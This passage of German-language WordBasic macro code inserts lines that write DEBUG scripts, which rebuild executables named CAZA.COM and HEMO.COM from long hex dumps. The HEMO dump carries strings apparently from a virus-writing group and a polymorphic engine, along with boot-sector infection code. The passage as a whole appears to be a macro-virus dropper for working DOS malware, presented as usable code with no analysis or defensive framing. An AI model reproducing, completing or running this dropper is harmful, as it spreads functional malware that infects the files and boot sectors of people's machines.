  3006. Einfügen "Print #1," + Chr$(34) + "E 0C80 88 88 88 88 88 88 88 88 88 88 88 88 88 88 88 88" + Chr$(34)
  3007. EinfügenAbsatz
  3008. Einfügen "Print #1," + Chr$(34) + "E 0C90 88 88 88 88 88 88 88 88 88 88 88 88 88 88 88 88" + Chr$(34)
  3009. EinfügenAbsatz
  3010. Einfügen "Print #1," + Chr$(34) + "E 0CA0 88 88 88 88 88 88 88 88 88 88 88 88 88 88 88 88" + Chr$(34)
  3011. EinfügenAbsatz
  3012. Einfügen "Print #1," + Chr$(34) + "E 0CB0 88 88 88 88 88 88 88 88 88 88 88 88 88 88 88 88" + Chr$(34)
  3013. EinfügenAbsatz
  3014. Einfügen "Print #1," + Chr$(34) + "E 0CC0 88 88 88 88 88 88 88 88 88 88 88 88 88 88 88 88" + Chr$(34)
  3015. EinfügenAbsatz
  3016. Einfügen "Print #1," + Chr$(34) + "RCX" + Chr$(34)
  3017. EinfügenAbsatz
  3018. Einfügen "Print #1," + Chr$(34) + "0BD0" + Chr$(34)
  3019. EinfügenAbsatz
  3020. Einfügen "Print #1," + Chr$(34) + "W" + Chr$(34)
  3021. EinfügenAbsatz
  3022. Einfügen "Print #1," + Chr$(34) + "Q" + Chr$(34)
  3023. EinfügenAbsatz
  3024. Einfügen "Close #1"
  3025. EinfügenAbsatz
  3026. Einfügen "c$ = " + Chr$(34) + "CAZA.COM" + Chr$(34)
  3027. Finished
  3028. End Sub
  3029.  
  3030. Sub Hemo
  3031. Install
  3032. Einfügen "Print #1," + Chr$(34) + "N HEMO.COM" + Chr$(34)
  3033. EinfügenAbsatz
  3034. Einfügen "Print #1," + Chr$(34) + "E 0100 4D 5A 90 01 05 00 00 00 20 00 00 00 FF FF 00 00" + Chr$(34)
  3035. EinfügenAbsatz
  3036. Einfügen "Print #1," + Chr$(34) + "E 0110 00 00 00 00 00 00 59 00 3E 00 00 00 01 00 FB 50" + Chr$(34)
  3037. EinfügenAbsatz
  3038. Einfügen "Print #1," + Chr$(34) + "E 0120 6A 72 00 00 00 00 00 00 00 00 00 00 00 00 00 00" + Chr$(34)
  3039. EinfügenAbsatz
  3040. Einfügen "Print #1," + Chr$(34) + "E 0130 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" + Chr$(34)
  3041. EinfügenAbsatz
  3042. Einfügen "Print #1," + Chr$(34) + "E 0140 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" + Chr$(34)
  3043. EinfügenAbsatz
  3044. Einfügen "Print #1," + Chr$(34) + "E 0150 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" + Chr$(34)
  3045. EinfügenAbsatz
  3046. Einfügen "Print #1," + Chr$(34) + "E 0160 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" + Chr$(34)
  3047. EinfügenAbsatz
  3048. Einfügen "Print #1," + Chr$(34) + "E 0170 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" + Chr$(34)
  3049. EinfügenAbsatz
  3050. Einfügen "Print #1," + Chr$(34) + "E 0180 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" + Chr$(34)
  3051. EinfügenAbsatz
  3052. Einfügen "Print #1," + Chr$(34) + "E 0190 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" + Chr$(34)
  3053. EinfügenAbsatz
  3054. Einfügen "Print #1," + Chr$(34) + "E 01A0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" + Chr$(34)
  3055. EinfügenAbsatz
  3056. Einfügen "Print #1," + Chr$(34) + "E 01B0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" + Chr$(34)
  3057. EinfügenAbsatz
  3058. Einfügen "Print #1," + Chr$(34) + "E 01C0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" + Chr$(34)
  3059. EinfügenAbsatz
  3060. Einfügen "Print #1," + Chr$(34) + "E 01D0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" + Chr$(34)
  3061. EinfügenAbsatz
  3062. Einfügen "Print #1," + Chr$(34) + "E 01E0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" + Chr$(34)
  3063. EinfügenAbsatz
  3064. Einfügen "Print #1," + Chr$(34) + "E 01F0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" + Chr$(34)
  3065. EinfügenAbsatz
  3066. Einfügen "Print #1," + Chr$(34) + "E 0200 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" + Chr$(34)
  3067. EinfügenAbsatz
  3068. Einfügen "Print #1," + Chr$(34) + "E 0210 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" + Chr$(34)
  3069. EinfügenAbsatz
  3070. Einfügen "Print #1," + Chr$(34) + "E 0220 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" + Chr$(34)
  3071. EinfügenAbsatz
  3072. Einfügen "Print #1," + Chr$(34) + "E 0230 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" + Chr$(34)
  3073. EinfügenAbsatz
  3074. Einfügen "Print #1," + Chr$(34) + "E 0240 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" + Chr$(34)
  3075. EinfügenAbsatz
  3076. Einfügen "Print #1," + Chr$(34) + "E 0250 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" + Chr$(34)
  3077. EinfügenAbsatz
  3078. Einfügen "Print #1," + Chr$(34) + "E 0260 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" + Chr$(34)
  3079. EinfügenAbsatz
  3080. Einfügen "Print #1," + Chr$(34) + "E 0270 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" + Chr$(34)
  3081. EinfügenAbsatz
  3082. Einfügen "Print #1," + Chr$(34) + "E 0280 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" + Chr$(34)
  3083. EinfügenAbsatz
  3084. Einfügen "Print #1," + Chr$(34) + "E 0290 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" + Chr$(34)
  3085. EinfügenAbsatz
  3086. Einfügen "Print #1," + Chr$(34) + "E 02A0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" + Chr$(34)
  3087. EinfügenAbsatz
  3088. Einfügen "Print #1," + Chr$(34) + "E 02B0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" + Chr$(34)
  3089. EinfügenAbsatz
  3090. Einfügen "Print #1," + Chr$(34) + "E 02C0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" + Chr$(34)
  3091. EinfügenAbsatz
  3092. Einfügen "Print #1," + Chr$(34) + "E 02D0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" + Chr$(34)
  3093. EinfügenAbsatz
  3094. Einfügen "Print #1," + Chr$(34) + "E 02E0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" + Chr$(34)
  3095. EinfügenAbsatz
  3096. Einfügen "Print #1," + Chr$(34) + "E 02F0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" + Chr$(34)
  3097. EinfügenAbsatz
  3098. Einfügen "Print #1," + Chr$(34) + "E 0300 5B 20 4D 4B 20 2F 20 54 72 69 64 65 6E 54 20 5D" + Chr$(34)
  3099. EinfügenAbsatz
  3100. Einfügen "Print #1," + Chr$(34) + "E 0310 1E 52 56 0E 1F E8 00 00 5E 81 EE 18 00 33 FF 88" + Chr$(34)
  3101. EinfügenAbsatz
  3102. Einfügen "Print #1," + Chr$(34) + "E 0320 84 79 05 A8 08 74 03 B0 50 AA E8 E9 04 25 1F 00" + Chr$(34)
  3103. EinfügenAbsatz
  3104. Einfügen "Print #1," + Chr$(34) + "E 0330 01 C1 51 E8 E0 04 93 E8 D4 04 89 84 6F 05 E8 ED" + Chr$(34)
  3105. EinfügenAbsatz
  3106. Einfügen "Print #1," + Chr$(34) + "E 0340 02 59 B8 11 01 F6 C3 20 75 02 34 07 F6 C3 0C 75" + Chr$(34)
  3107. EinfügenAbsatz
  3108. Einfügen "Print #1," + Chr$(34) + "E 0350 02 34 70 F6 C3 40 75 03 80 F4 07 F6 C3 10 75 02" + Chr$(34)
  3109. EinfügenAbsatz
  3110. Einfügen "Print #1," + Chr$(34) + "E 0360 24 73 F6 C7 80 75 02 24 70 89 C2 E8 A8 04 25 0F" + Chr$(34)
  3111. EinfügenAbsatz
  3112. Einfügen "Print #1," + Chr$(34) + "E 0370 00 3C 0A 77 F6 89 84 77 05 51 91 B8 01 00 D3 E0" + Chr$(34)
  3113. EinfügenAbsatz
  3114. Einfügen "Print #1," + Chr$(34) + "E 0380 8B C8 21 D1 59 74 E4 33 D0 52 E8 9D 00 E8 B3 02" + Chr$(34)
  3115. EinfügenAbsatz
  3116. Einfügen "Print #1," + Chr$(34) + "E 0390 5A 0B D2 75 D6 57 E8 33 01 E8 A7 02 F6 C7 20 74" + Chr$(34)
  3117. EinfügenAbsatz
  3118. Einfügen "Print #1," + Chr$(34) + "E 03A0 03 B0 F8 AA C7 84 71 05 00 00 E8 54 01 E8 93 02" + Chr$(34)
  3119. EinfügenAbsatz
  3120. Einfügen "Print #1," + Chr$(34) + "E 03B0 E8 9D 01 5A E8 E8 01 F6 84 79 05 08 74 03 B0 58" + Chr$(34)
  3121. EinfügenAbsatz
  3122. Einfügen "Print #1," + Chr$(34) + "E 03C0 AA 8B C7 01 E8 5A 03 C2 2B 84 71 05 57 8B BC 73" + Chr$(34)
  3123. EinfügenAbsatz
  3124. Einfügen "Print #1," + Chr$(34) + "E 03D0 05 F6 C3 0C 75 0C 26 88 05 8B BC 75 05 26 88 25" + Chr$(34)
  3125. EinfügenAbsatz
  3126. Einfügen "Print #1," + Chr$(34) + "E 03E0 EB 03 26 89 05 5F 8B 94 6F 05 8B AC 6D 05 5E 1F" + Chr$(34)
  3127. EinfügenAbsatz
  3128. Einfügen "Print #1," + Chr$(34) + "E 03F0 57 51 F6 C3 10 74 0C 41 D1 E9 AD E8 17 00 AB E2" + Chr$(34)
  3129. EinfügenAbsatz
  3130. Einfügen "Print #1," + Chr$(34) + "E 0400 F9 EB 09 AC 32 F6 E8 0C 00 AA E2 F7 89 F9 58 5F" + Chr$(34)
  3131. EinfügenAbsatz
  3132. Einfügen "Print #1," + Chr$(34) + "E 0410 33 D2 06 1F C3 01 EA F6 C3 02 75 03 33 C2 C3 F6" + Chr$(34)
  3133. EinfügenAbsatz
  3134. Einfügen "Print #1," + Chr$(34) + "E 0420 C3 01 75 03 2B C2 C3 03 C2 C3 8B 94 77 05 53 8B" + Chr$(34)
  3135. EinfügenAbsatz
  3136. Einfügen "Print #1," + Chr$(34) + "E 0430 DA 8A 80 46 05 5B 80 FA 04 75 03 E8 A8 01 F6 C2" + Chr$(34)
  3137. EinfügenAbsatz
  3138. Einfügen "Print #1," + Chr$(34) + "E 0440 0C 9C 75 07 F6 C3 80 74 02 04 02 E8 3A 00 9D 75" + Chr$(34)
  3139. EinfügenAbsatz
  3140. Einfügen "Print #1," + Chr$(34) + "E 0450 06 8B 84 6F 05 EB 21 F6 C2 08 75 12 53 8D 9C 73" + Chr$(34)
  3141. EinfügenAbsatz
  3142. Einfügen "Print #1," + Chr$(34) + "E 0460 05 F6 C2 02 74 03 83 C3 02 89 3F 5B EB 0A 8B C1" + Chr$(34)
  3143. EinfügenAbsatz
  3144. Einfügen "Print #1," + Chr$(34) + "E 0470 F6 C3 10 74 03 40 D1 E8 F6 C2 03 74 09 F6 C2 02" + Chr$(34)
  3145. EinfügenAbsatz
  3146. Einfügen "Print #1," + Chr$(34) + "E 0480 74 02 86 E0 AA C3 AB C3 53 51 50 E8 88 03 93 58" + Chr$(34)
  3147. EinfügenAbsatz
  3148. Einfügen "Print #1," + Chr$(34) + "E 0490 F6 C3 03 74 33 50 83 E3 0F 24 08 D1 E0 09 C3 58" + Chr$(34)
  3149. EinfügenAbsatz
  3150. Einfügen "Print #1," + Chr$(34) + "E 04A0 24 07 B1 09 91 F6 E1 05 C0 30 86 E0 F6 C3 04 74" + Chr$(34)
  3151. EinfügenAbsatz
  3152. Einfügen "Print #1," + Chr$(34) + "E 04B0 02 B0 28 E8 65 01 AB B0 80 E8 5F 01 AA 93 25 03" + Chr$(34)
  3153. EinfügenAbsatz
  3154. Einfügen "Print #1," + Chr$(34) + "E 04C0 00 8D 9C 69 05 D7 00 C8 AA 59 5B C3 51 C7 84 6D" + Chr$(34)
  3155. EinfügenAbsatz
  3156. Einfügen "Print #1," + Chr$(34) + "E 04D0 05 00 00 8B C3 25 10 81 35 10 80 75 22 8B C3 32" + Chr$(34)
  3157. EinfügenAbsatz
  3158. Einfügen "Print #1," + Chr$(34) + "E 04E0 E4 B1 03 F6 F1 0A E4 75 16 F6 C3 80 75 05 B0 05" + Chr$(34)
  3159. EinfügenAbsatz
  3160. Einfügen "Print #1," + Chr$(34) + "E 04F0 AA EB 04 B8 81 C2 AB E8 1C 03 89 84 6D 05 AB 59" + Chr$(34)
  3161. EinfügenAbsatz
  3162. Einfügen "Print #1," + Chr$(34) + "E 0500 C3 F6 84 79 05 01 74 03 B0 2E AA F6 C7 80 74 28" + Chr$(34)
  3163. EinfügenAbsatz
  3164. Einfügen "Print #1," + Chr$(34) + "E 0510 E8 E5 00 E8 EE 00 E8 6F 00 33 C0 F6 C3 80 74 02" + Chr$(34)
  3165. EinfügenAbsatz
  3166. Einfügen "Print #1," + Chr$(34) + "E 0520 04 10 E8 BA 00 F6 C7 08 75 02 AA C3 0C 80 AA E8" + Chr$(34)
  3167. EinfügenAbsatz
  3168. Einfügen "Print #1," + Chr$(34) + "E 0530 E4 02 AB 89 84 71 05 C3 B0 80 E8 4B 00 E8 B8 00" + Chr$(34)
  3169. EinfügenAbsatz
  3170. Einfügen "Print #1," + Chr$(34) + "E 0540 E8 C1 00 E8 DC FF 8B 84 6F 05 F6 C3 10 E9 5A 02" + Chr$(34)
  3171. EinfügenAbsatz
  3172. Einfügen "Print #1," + Chr$(34) + "E 0550 F6 C3 08 74 05 F6 C7 02 75 33 F6 C7 04 74 0D B0" + Chr$(34)
  3173. EinfügenAbsatz
  3174. Einfügen "Print #1," + Chr$(34) + "E 0560 40 E8 82 00 AA F6 C3 10 74 01 AA C3 F6 C7 40 74" + Chr$(34)
  3175. EinfügenAbsatz
  3176. Einfügen "Print #1," + Chr$(34) + "E 0570 03 B0 F8 AA B0 83 AA B0 C0 F6 C7 40 74 04 24 CF" + Chr$(34)
  3177. EinfügenAbsatz
  3178. Einfügen "Print #1," + Chr$(34) + "E 0580 0C 10 E8 61 00 AA B0 01 E8 88 00 AA C3 F6 C7 04" + Chr$(34)
  3179. EinfügenAbsatz
  3180. Einfügen "Print #1," + Chr$(34) + "E 0590 74 05 F6 C3 04 75 04 B0 A6 EB ED B0 AE EB E9 F6" + Chr$(34)
  3181. EinfügenAbsatz
  3182. Einfügen "Print #1," + Chr$(34) + "E 05A0 C7 01 75 11 B0 E0 F6 C7 1A 74 02 04 02 AA 89 D0" + Chr$(34)
  3183. EinfügenAbsatz
  3184. Einfügen "Print #1," + Chr$(34) + "E 05B0 29 F8 48 AA C3 F6 C7 10 75 15 B0 83 AA E8 56 02" + Chr$(34)
  3185. EinfügenAbsatz
  3186. Einfügen "Print #1," + Chr$(34) + "E 05C0 A8 01 75 05 B8 E9 01 EB 03 B8 C1 FF AB EB 03 B0" + Chr$(34)
  3187. EinfügenAbsatz
  3188. Einfügen "Print #1," + Chr$(34) + "E 05D0 49 AA E8 41 02 A8 01 B0 7F 75 D2 B0 75 EB CE 57" + Chr$(34)
  3189. EinfügenAbsatz
  3190. Einfügen "Print #1," + Chr$(34) + "E 05E0 8D BC 5D 05 EB 05 57 8D BC 61 05 53 D0 EB D0 EB" + Chr$(34)
  3191. EinfügenAbsatz
  3192. Einfügen "Print #1," + Chr$(34) + "E 05F0 83 E3 03 02 01 5B 5F C3 53 93 25 03 00 8D 9C 65" + Chr$(34)
  3193. EinfügenAbsatz
  3194. Einfügen "Print #1," + Chr$(34) + "E 0600 05 D7 5B C3 F6 C3 02 74 09 F6 C7 20 74 04 24 CF" + Chr$(34)
  3195. EinfügenAbsatz
  3196. Einfügen "Print #1," + Chr$(34) + "E 0610 0C 10 C3 F6 C3 10 74 02 FE C0 C3 E8 F5 FF 3C 81" + Chr$(34)
  3197. EinfügenAbsatz
  3198. Einfügen "Print #1," + Chr$(34) + "E 0620 74 0B 50 E8 F0 01 A8 01 58 74 02 04 02 C3 F6 84" + Chr$(34)
  3199. EinfügenAbsatz
  3200. Einfügen "Print #1," + Chr$(34) + "E 0630 79 05 04 74 0D E8 DE 01 25 0F 00 40 91 E8 1A 00" + Chr$(34)
  3201. EinfügenAbsatz
  3202. Einfügen "Print #1," + Chr$(34) + "E 0640 E2 FB C3 F6 84 79 05 02 74 0F E8 C9 01 A8 03 74" + Chr$(34)
  3203. EinfügenAbsatz
  3204. Einfügen "Print #1," + Chr$(34) + "E 0650 67 A8 02 74 6E A8 01 74 09 C3 E8 B9 01 25 1E 00" + Chr$(34)
  3205. EinfügenAbsatz
  3206. Einfügen "Print #1," + Chr$(34) + "E 0660 EB 06 E8 B1 01 25 06 00 53 93 E8 A9 01 8B 98 77" + Chr$(34)
  3207. EinfügenAbsatz
  3208. Einfügen "Print #1," + Chr$(34) + "E 0670 03 01 F3 FF D3 5B C3 97 03 9E 03 AC 03 B1 03 B8" + Chr$(34)
  3209. EinfügenAbsatz
  3210. Einfügen "Print #1," + Chr$(34) + "E 0680 03 C3 03 DD 03 26 04 37 04 43 04 59 04 6E 04 76" + Chr$(34)
  3211. EinfügenAbsatz
  3212. Einfügen "Print #1," + Chr$(34) + "E 0690 04 90 04 99 04 A1 04 25 0F 00 0C 70 AB C3 B0 EB" + Chr$(34)
  3213. EinfügenAbsatz
  3214. Einfügen "Print #1," + Chr$(34) + "E 06A0 80 E4 07 FE C4 AB 86 E0 98 E9 34 01 E8 E1 00 AA" + Chr$(34)
  3215. EinfügenAbsatz
  3216. Einfügen "Print #1," + Chr$(34) + "E 06B0 C3 E8 ED 00 34 08 AA C3 53 24 07 8D 9C 51 05 D7" + Chr$(34)
  3217. EinfügenAbsatz
  3218. Einfügen "Print #1," + Chr$(34) + "E 06C0 AA 5B C3 53 25 03 03 8D 9C 59 05 D7 02 C4 AA E8" + Chr$(34)
  3219. EinfügenAbsatz
  3220. Einfügen "Print #1," + Chr$(34) + "E 06D0 44 01 24 07 B3 09 F6 E3 04 C0 AA 5B C3 51 B0 E8" + Chr$(34)
  3221. EinfügenAbsatz
  3222. Einfügen "Print #1," + Chr$(34) + "E 06E0 80 E4 0F FE C4 AB 32 C0 AA 86 E0 E8 F2 00 E8 52" + Chr$(34)
  3223. EinfügenAbsatz
  3224. Einfügen "Print #1," + Chr$(34) + "E 06F0 FF E8 22 01 24 07 E8 B7 00 8B C8 0C 58 AA F6 C5" + Chr$(34)
  3225. EinfügenAbsatz
  3226. Einfügen "Print #1," + Chr$(34) + "E 0700 03 75 21 E8 3D FF B8 87 F0 08 CC F6 C5 08 74 02" + Chr$(34)
  3227. EinfügenAbsatz
  3228. Einfügen "Print #1," + Chr$(34) + "E 0710 B0 8B AB E8 2D FF E8 FD 00 93 81 E3 FB F7 80 CB" + Chr$(34)
  3229. EinfügenAbsatz
  3230. Einfügen "Print #1," + Chr$(34) + "E 0720 08 E8 DD FD 59 C3 24 0F 0C B0 E8 83 00 AA A8 08" + Chr$(34)
  3231. EinfügenAbsatz
  3232. Einfügen "Print #1," + Chr$(34) + "E 0730 9C E8 E2 00 9D EB 73 80 E4 39 0C C0 E8 71 00 86" + Chr$(34)
  3233. EinfügenAbsatz
  3234. Einfügen "Print #1," + Chr$(34) + "E 0740 E0 AB C3 24 3B 0C 02 80 E4 3F A8 01 74 03 80 CC" + Chr$(34)
  3235. EinfügenAbsatz
  3236. Einfügen "Print #1," + Chr$(34) + "E 0750 C0 E8 67 00 E8 72 00 AB C3 80 E4 01 0D C0 80 E8" + Chr$(34)
  3237. EinfügenAbsatz
  3238. Einfügen "Print #1," + Chr$(34) + "E 0760 4E 00 86 E0 AB A8 01 9C E8 AB 00 9D EB 3C E8 47" + Chr$(34)
  3239. EinfügenAbsatz
  3240. Einfügen "Print #1," + Chr$(34) + "E 0770 FF B8 E2 FD AB C3 24 09 F6 C4 01 74 06 0C A6 24" + Chr$(34)
  3241. EinfügenAbsatz
  3242. Einfügen "Print #1," + Chr$(34) + "E 0780 FE AA C3 0C A0 AA 3C A8 9C E8 82 00 48 9D EB 1A" + Chr$(34)
  3243. EinfügenAbsatz
  3244. Einfügen "Print #1," + Chr$(34) + "E 0790 24 07 0C 90 E8 19 00 AA C3 25 07 03 0D 50 58 AB" + Chr$(34)
  3245. EinfügenAbsatz
  3246. Einfügen "Print #1," + Chr$(34) + "E 07A0 C3 24 0F 0C 40 E8 08 00 AA C3 74 02 AB C3 AA C3" + Chr$(34)
  3247. EinfügenAbsatz
  3248. Einfügen "Print #1," + Chr$(34) + "E 07B0 50 24 07 3C 04 58 75 02 24 FB C3 50 80 E4 38 80" + Chr$(34)
  3249. EinfügenAbsatz
  3250. Einfügen "Print #1," + Chr$(34) + "E 07C0 FC 20 58 75 03 80 F4 20 C3 F6 C4 04 75 04 80 E4" + Chr$(34)
  3251. EinfügenAbsatz
  3252. Einfügen "Print #1," + Chr$(34) + "E 07D0 FD C3 50 80 E4 07 80 FC 06 58 75 03 80 CC 01 C3" + Chr$(34)
  3253. EinfügenAbsatz
  3254. Einfügen "Print #1," + Chr$(34) + "E 07E0 51 91 E8 31 00 AA E2 FA 59 C3 50 51 E8 0D 00 25" + Chr$(34)
  3255. EinfügenAbsatz
  3256. Einfügen "Print #1," + Chr$(34) + "E 07F0 0F 00 40 91 E8 1F 00 E2 FB 59 58 C3 52 51 B4 2C" + Chr$(34)
  3257. EinfügenAbsatz
  3258. Einfügen "Print #1," + Chr$(34) + "E 0800 CD 21 E4 40 88 C4 E4 40 31 C8 33 D0 EB 25 E8 05" + Chr$(34)
  3259. EinfügenAbsatz
  3260. Einfügen "Print #1," + Chr$(34) + "E 0810 00 0B C0 74 F9 C3 52 51 53 E4 40 05 00 00 BA 00" + Chr$(34)
  3261. EinfügenAbsatz
  3262. Einfügen "Print #1," + Chr$(34) + "E 0820 00 B9 07 00 D1 E0 D1 D2 8A D8 30 F3 79 02 FE C0" + Chr$(34)
  3263. EinfügenAbsatz
  3264. Einfügen "Print #1," + Chr$(34) + "E 0830 E2 F2 5B 56 E8 00 00 5E 2E 89 44 E5 2E 89 54 E8" + Chr$(34)
  3265. EinfügenAbsatz
  3266. Einfügen "Print #1," + Chr$(34) + "E 0840 5E 88 D0 59 5A C3 B8 B0 B4 00 B8 B3 B7 00 B9 B1" + Chr$(34)
  3267. EinfügenAbsatz
  3268. Einfügen "Print #1," + Chr$(34) + "E 0850 B5 90 F8 F9 F5 FA FC 45 4D 08 20 84 88 07 07 04" + Chr$(34)
  3269. EinfügenAbsatz
  3270. Einfügen "Print #1," + Chr$(34) + "E 0860 05 03 03 06 07 30 30 00 28 00 C8 F0 C0 00 00 00" + Chr$(34)
  3271. EinfügenAbsatz
  3272. Einfügen "Print #1," + Chr$(34) + "E 0870 00 00 00 00 00 00 00 00 00 00 5B 54 50 45 20 31" + Chr$(34)
  3273. EinfügenAbsatz
  3274. Einfügen "Print #1," + Chr$(34) + "E 0880 2E 33 5D 00 00 00 00 00 00 00 00 00 00 00 00 00" + Chr$(34)
  3275. EinfügenAbsatz
  3276. Einfügen "Print #1," + Chr$(34) + "E 0890 E9 CC 01 00 00 00 00 00 00 00 00 00 00 00 00 00" + Chr$(34)
  3277. EinfügenAbsatz
  3278. Einfügen "Print #1," + Chr$(34) + "E 08A0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 1E" + Chr$(34)
  3279. EinfügenAbsatz
  3280. Einfügen "Print #1," + Chr$(34) + "E 08B0 56 57 50 51 52 E8 99 01 80 FC 02 75 0E 52 2B C0" + Chr$(34)
  3281. EinfügenAbsatz
  3282. Einfügen "Print #1," + Chr$(34) + "E 08C0 CD 1A 80 FA 40 5A 73 03 E8 A9 00 5A 59 58 5F 52" + Chr$(34)
  3283. EinfügenAbsatz
  3284. Einfügen "Print #1," + Chr$(34) + "E 08D0 51 50 83 F9 03 73 3A 3A 34 75 36 80 FC 02 74 0E" + Chr$(34)
  3285. EinfügenAbsatz
  3286. Einfügen "Print #1," + Chr$(34) + "E 08E0 80 FC 03 75 2C 80 FA 80 72 27 2A E4 EB 23 E8 2E" + Chr$(34)
  3287. EinfügenAbsatz
  3288. Einfügen "Print #1," + Chr$(34) + "E 08F0 00 72 21 E8 F9 00 74 08 E8 FC 00 74 03 F8 EB 14" + Chr$(34)
  3289. EinfügenAbsatz
  3290. Einfügen "Print #1," + Chr$(34) + "E 0900 E8 0B 01 8A 74 01 58 E8 15 00 E8 61 01 59 5A EB" + Chr$(34)
  3291. EinfügenAbsatz
  3292. Einfügen "Print #1," + Chr$(34) + "E 0910 06 E8 0B 00 1F 1F 1F 5E 1F CA 02 00 B8 01 02 9C" + Chr$(34)
  3293. EinfügenAbsatz
  3294. Einfügen "Print #1," + Chr$(34) + "E 0920 2E FF 1E FC 01 C3 CD 12 BE 4C 00 56 2E 80 3E 6F" + Chr$(34)
  3295. EinfügenAbsatz
  3296. Einfügen "Print #1," + Chr$(34) + "E 0930 01 02 74 0E E8 F6 00 BF FC 01 B9 02 00 FC F3 A5" + Chr$(34)
  3297. EinfügenAbsatz
  3298. Einfügen "Print #1," + Chr$(34) + "E 0940 EB 03 E8 EC 00 5E C7 04 1F 00 89 44 02 0E 1F E8" + Chr$(34)
  3299. EinfügenAbsatz
  3300. Einfügen "Print #1," + Chr$(34) + "E 0950 E8 00 06 B8 C9 00 50 FB CB 8E C1 8B DC 51 53 BA" + Chr$(34)
  3301. EinfügenAbsatz
  3302. Einfügen "Print #1," + Chr$(34) + "E 0960 80 00 E8 EC 00 E8 0C 00 B1 05 BA 00 01 E8 AC FF" + Chr$(34)
  3303. EinfügenAbsatz
  3304. Einfügen "Print #1," + Chr$(34) + "E 0970 E8 FB 00 CB 2B C9 41 51 8A 34 E8 9F FF 72 65 E8" + Chr$(34)
  3305. EinfügenAbsatz
  3306. Einfügen "Print #1," + Chr$(34) + "E 0980 6D 00 74 5D E8 70 00 75 22 41 26 83 BF FA 01 00" + Chr$(34)
  3307. EinfügenAbsatz
  3308. Einfügen "Print #1," + Chr$(34) + "E 0990 74 4F 26 C7 87 FA 01 00 00 B1 01 E8 48 00 72 44" + Chr$(34)
  3309. EinfügenAbsatz
  3310. Einfügen "Print #1," + Chr$(34) + "E 09A0 41 8A 74 02 E8 75 FF 72 3B 58 51 E8 60 00 E8 BD" + Chr$(34)
  3311. EinfügenAbsatz
  3312. Einfügen "Print #1," + Chr$(34) + "E 09B0 00 46 E8 31 00 4E 72 2C E8 B3 00 51 E8 7B 00 59" + Chr$(34)
  3313. EinfügenAbsatz
  3314. Einfügen "Print #1," + Chr$(34) + "E 09C0 52 80 FA 80 73 02 32 D2 26 89 97 DB 00 5A 26 88" + Chr$(34)
  3315. EinfügenAbsatz
  3316. Einfügen "Print #1," + Chr$(34) + "E 09D0 8F D9 00 59 51 26 88 8F 6F 01 26 C7 87 FE 01 55" + Chr$(34)
  3317. EinfügenAbsatz
  3318. Einfügen "Print #1," + Chr$(34) + "E 09E0 AA E8 02 00 58 C3 8A 34 B8 01 03 E8 31 FF C3 26" + Chr$(34)
  3319. EinfügenAbsatz
  3320. Einfügen "Print #1," + Chr$(34) + "E 09F0 81 BF FA 01 19 92 C3 26 81 BF 19 01 50 61 C3 01" + Chr$(34)
  3321. EinfügenAbsatz
  3322. Einfügen "Print #1," + Chr$(34) + "E 0A00 00 01 01 00 00 00 02 05 09 0B 03 05 0E 0E 57 56" + Chr$(34)
  3323. EinfügenAbsatz
  3324. Einfügen "Print #1," + Chr$(34) + "E 0A10 26 8A 47 14 B9 04 00 8B F1 4E 38 84 76 01 74 06" + Chr$(34)
  3325. EinfügenAbsatz
  3326. Einfügen "Print #1," + Chr$(34) + "E 0A20 E2 F5 B1 03 EB 04 8A 8C 7A 01 5E 5F C3 48 A3 13" + Chr$(34)
  3327. EinfügenAbsatz
  3328. Einfügen "Print #1," + Chr$(34) + "E 0A30 04 B1 06 D3 E0 04 20 8E C0 C3 56 8B FB BE 1F 00" + Chr$(34)
  3329. EinfügenAbsatz
  3330. Einfügen "Print #1," + Chr$(34) + "E 0A40 03 FE B9 DD 01 F3 A4 8B FB 2B F6 B1 03 F3 A4 5E" + Chr$(34)
  3331. EinfügenAbsatz
  3332. Einfügen "Print #1," + Chr$(34) + "E 0A50 C3 0E 1F BE 70 01 80 FA 80 72 03 BE 73 01 C3 FA" + Chr$(34)
  3333. EinfügenAbsatz
  3334. Einfügen "Print #1," + Chr$(34) + "E 0A60 2B DB 8E DB 8E D3 BC 00 7C E9 BA FE 90 90 57 51" + Chr$(34)
  3335. EinfügenAbsatz
  3336. Einfügen "Print #1," + Chr$(34) + "E 0A70 50 8B FB B9 00 02 FC 26 8A 05 34 2E AA E2 F8 58" + Chr$(34)
  3337. EinfügenAbsatz
  3338. Einfügen "Print #1," + Chr$(34) + "E 0A80 59 5F C3 00 6D 8F 8E 8B 85 99 19 92 00 00 55 AA" + Chr$(34)
  3339. EinfügenAbsatz
  3340. Einfügen "Print #1," + Chr$(34) + "RCX" + Chr$(34)
  3341. EinfügenAbsatz
  3342. Einfügen "Print #1," + Chr$(34) + "0990" + Chr$(34)
  3343. EinfügenAbsatz
  3344. Einfügen "Print #1," + Chr$(34) + "W" + Chr$(34)
  3345. EinfügenAbsatz
